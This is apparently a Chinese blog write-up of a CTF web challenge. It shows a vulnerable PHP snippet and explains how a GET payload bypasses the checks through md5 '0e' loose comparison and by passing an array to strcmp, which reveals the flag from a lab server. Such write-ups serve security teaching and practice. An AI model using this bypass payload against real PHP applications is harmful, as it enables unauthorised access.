

CTF-writeup-web-前女友

原创

[EVA_CGZ](#) 已于 2022-04-14 18:17:05 修改 1930 收藏

分类专栏: [CTF](#) 文章标签: [web安全](#)

于 2022-04-14 18:15:19 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_48914455/article/details/124177951

版权



[CTF 专栏收录该内容](#)

1 篇文章 0 订阅

订阅专栏

题目描述:

114.67.175.224:18524

分手了, 纠结再三我没有拉黑她, 原因无它, 放不下。

终于那天, 竟然真的等来了她的消息: “在吗?”

我神色平静, 但颤抖的双手却显示出我此刻的激动。 “怎么了? 有事要我帮忙?”

“怎么, 没事就不能联系了吗?” 结尾处调皮表情, 是多么的陌生和熟悉……

“帮我看看这个…” 说着, 她发来一个链接。

不忍心拂她的意就点开了链接, 看着屏幕我的心久久不能平静, 往事一幕幕涌上心头……

.....

“我到底做错了什么, 要给我看这个!”

“还记得你曾经说过。。。。。。。”

PHP是世界上最好的语言

CSDN @EVA_CGZ

先查看源码

```
view-source:http://114.67.175.224:18524/
1 <html>
2 <head>
3 <title></title>
4 <style type="text/css">
5 .link {
6   text-decoration: none;
7   color: #000;
8 }
9 .link:hover {
10  text-decoration: none;
11  color: #000;
12 }
13 </style>
14 </head>
15 <body>
16 <div align="center">
17 <p>分手了，纠结再三我没有拉黑她，原因无它，放不下。
18 <p>终于那天，竟然真的等来了她的消息：“在吗？”
19 <p>我神色平静，但颤抖的双手却显示出我此刻的激动。“怎么了？有事要我帮忙？”
20 <p>“怎么，没事就不能联系了吗？”结尾处调皮表情，是多么的陌生和熟悉.....
21 <p>“帮我看看这个...”说着，她发来一个<a class="link" href="code.txt" target="_blank">链接</a>。
22 <p>不忍心拂她的意就点开了链接，看着屏幕我的心久久不能平静，往事一幕幕涌上心头.....
23 <p>.....
24 <p>“我到底做错了什么，要给我看这个！”
25 <p>“还记得你曾经说过.....”
26 <h2>PHP是世界上最好的语言</h2>
27 </div>
28 </body>
29 </html>
30
31
```

CSDN @EVA_CGZ

可以看到链接那两个字是另外的跳转路径，回到首页点击“链接”这两个字

```
114.67.175.224:18524/code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
```

CSDN @EVA_CGZ

看到代码分析出，要传入三个参数，v1、v2、v3，分别满足v1v2的值不相等但是md5相等，经典的md5绕过，找两个字符串md5后为0e开头的即可，0e开头的数字会被当成科学计数法，0的多少次方都是0，因此相等。v3则是用strcmp函数跟flag的值比较，最后相等返回flag

strcmp函数会比较两个字符串类型，如果两个相等返回零，但是如果传入的参数不是字符串也会报错，这样就可以巧妙的绕过

构造payload

```
?v1=s878926199a&v2=s155964671a&v3[]=11
```

114.67.175.224:18524/index.php/code.txt?v1=s878926199a&v2=s155964671a&v3[]=11

分手了，纠结再三我没有拉黑她，原因无它，放不下。

终于那天，竟然真的等来了她的消息：“在吗？”

我神色平静，但颤抖的双手却显示出我此刻的激动。“怎么了？有事要我帮忙？”

“怎么，没事就不能联系了吗？”结尾处调皮表情，是多么的陌生和熟悉……

“帮我看看这个…”说着，她发来一个链接。

不忍心拂她的意就点开了链接，看着屏幕我的心久久不能平静，往事一幕幕涌上心头……

.....

“我到底做错了什么，要给我看这个！”

“还记得你曾经说过。。。。。。。”

PHP是世界上最好的语言

flag{9948664238c4984d275e1e8cc96d161c}

CSDN @EVA_CGZ

注意，一开始我点击链接竟然没有跳转，我还以为做了什么另外的跳转，搞了半天把index.php删了直接加上code.txt就看到代码了，然后payload尝试了半天发现要在index.php/code.txt下面才能得到flag（直接index.php后也可以），得到flag以后发现直接点击链接就可以跳转看到代码了

原因是一开始手抖加上了index.php，这样没有index.php/code.txt这个文件所以跳转失败，犯蠢了